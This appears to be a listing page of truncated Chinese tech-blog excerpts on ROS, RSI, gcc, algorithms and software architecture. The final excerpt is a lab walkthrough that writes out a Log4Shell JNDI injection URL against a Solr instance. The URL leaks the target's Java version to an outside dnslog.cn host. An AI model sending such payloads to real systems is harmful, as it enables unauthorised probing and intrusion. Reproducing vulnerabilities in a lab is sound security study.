下面列举一些常见的 ROS 命令及其用途，涵盖数据记录、可视化、话题管理、调试、消息查看、参数管理等各方面。这些命令可以帮助您在 ROS 系统中调试、监控和管理各个组件： 文章目录 1. 核心启动和节点管理2. 话题（Topic）管理3. 服…

一、策略原理 相对强弱指标（Relative Strength Index, RSI）是由 Welles Wilder 提出的经典技术指标，通过计算价格波动的幅度衡量市场超买 / 超卖状态。RSI 取值范围 0-100，常用判断标准： RSI > 70：超买…

🚀 引言：大模型是“安全守护神”还是“双刃剑”？ 当黑客用AI生成恶意代码，安全团队也能用大模型“魔法打败魔法”！ 划重点：大模型不仅是“生产力工具”，更是安全防御的“智能武器库”&#xff0…

【回顾补充】 在（六）中，小编也是和大家一起学习了很多干货啊，其中就包含一个非常重要的知识点——gcc；在安装环节，小编向大家介绍了gcc和g。那么，在这里呢，小编还有一些要补充的内容…

现在来学习"滑动窗口"这一算法思想。 至于什么是"滑动窗口"呢？简单来说就是同向双指针；现在来通过题目来了解什么是"滑动窗口" 一、长度最小的子数组 题目链接：长度最小的子数组 题目解析 先来看题目&#…

黑马跟学.苍穹外卖.Day08 苍穹外卖-day8课程内容1. 工作台1.1 需求分析和设计1.1.1 产品原型1.1.2 接口设计 1.2 代码导入1.2.1 Controller层1.2.2 Service层接口1.2.3 Service层实现类1.2.4 Mapper层 1.3 功能测试1.3.1 接口文档测试1.3.2 前后端联调测试 1.4 代码提交 2. Ap…

一、引言 在软件开发的漫长历程中，架构的选择一直是至关重要的决策。单体架构作为一种经典的架构模式，曾经在许多项目中发挥着不可替代的作用。虽然如今微服务等架构逐渐流行，但理解单体架构对于深入掌握软件架构体系仍然有着重要意义。 二、…

1，打开环境后访问该ip 2，打开dnslog.cn，获取一个域名，我们这里是2bfvl6.dnslog.cn 3，访问http://47.122.51.245:8983/solr/admin/coresaction${jndi:ldap://${sys:java.version}.2bfvl6.dnslog.cn} 4，返回d…